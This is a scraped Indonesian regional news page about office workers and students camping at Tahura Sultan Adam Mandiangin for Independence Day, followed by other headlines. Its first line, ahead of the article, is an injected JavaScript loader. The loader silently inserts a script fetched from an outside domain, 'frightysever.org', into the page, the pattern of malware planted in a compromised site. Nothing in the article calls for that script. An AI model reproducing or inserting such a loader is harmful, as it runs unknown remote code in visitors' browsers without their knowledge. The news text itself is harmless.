(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Senja itu, beberapa anak muda tengah berkumpul sembari memeriksa barang-barang yang telah mereka persiapkan untuk dimasukkan ke dalam mobil. Usai semua barang telah dimasukkan dan seluruh personil lengkap, para anak muda tersebut langsung menancap gas menuju Tahura (Taman Hutan Raya) Sultan Adam Mandiangin, Karang Intan, wilayah Kabupaten Banjar.
Mereka adalah segerembolan pekerja kantoran dari Banjarmasin yang sepakat untuk bersama-sama melepas penat sembari menikmati udara pagi hari kemerdekaan Indonesia di objek wisata dengan luas lahan hutan sebesar 112.000 hektare tersebut.
Jarak yang terhitung dekat serta akses jalan yang mudah ditempuh oleh kendaraan roda empat dan roda dua ini menjadi alasan bagi Martha dan kawan-kawannya untuk menancapkan tenda di Tahura Mandiangin, kemudian beristirahat bersama ‘berselimut’ bintang.
“Ya kita kerja di kantor selalu sampai sore, jadi jarang refreshing. Mumpung ada kesempatan libur, kita ambil yang dekat juga, biar gak terlalu capek tapi tetap menikmati liburan,†beber perempuan usia 20-an tersebut.
Namun ternyata banyak masyarakat yang berpikiran sama. Di kawasan wisata yang wilayahnya masuk dalam ranah dua kabupaten yang berbeda, yaitu Kabupaten Banjar dan Kabupaten Tanah Laut ini dipenuhi oleh para penikmat alam lainnya. Puncak Tahura Sultan Adam pun penuh, bahkan Martha dan kawan-kawan mau tidak mau memilih wadah kosong yang tersisa meski tidak tepat di puncak.
Para penikmat alam datang dengan beragam kendaraan. Parkir di kolam Belanda pun tampak begitu penuh. Mereka yang datang pun berbagai kalangan, dari yang berkeluarga hingga anak kuliahan beserta rekan dan kerabat mereka.
Senada dengan Martha, salah satu mahasiswi ULM, Dedy mengakui memang sengaja memilih Tahura sebagai destinasi pelarian sementara dari tugas kuliah. “Sambil melepas stres kuliah, sekalian saja merayakan kemerdekaan Indonesia dari tempat tinggi dan bisa ngeliat gimana tempat tinggal kita masih luas dan bagus,†ucapnya sembari menyeruput kopi panas miliknya untuk melawan suhu yang dingin. Di puncak Mandiangin itu sejurus kemudian para penikmat wisata alam paling dekat dengan kota Banjarmasin ini sibuk berswafoto bersama teman-temannya. (mario)
KANALKALIMANTAN.COM, BANJARBARU - Tim Nasional (Timnas) Indonesia U-23 dipastikan gagal melaju ke final Piala Asia… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
This website uses cookies.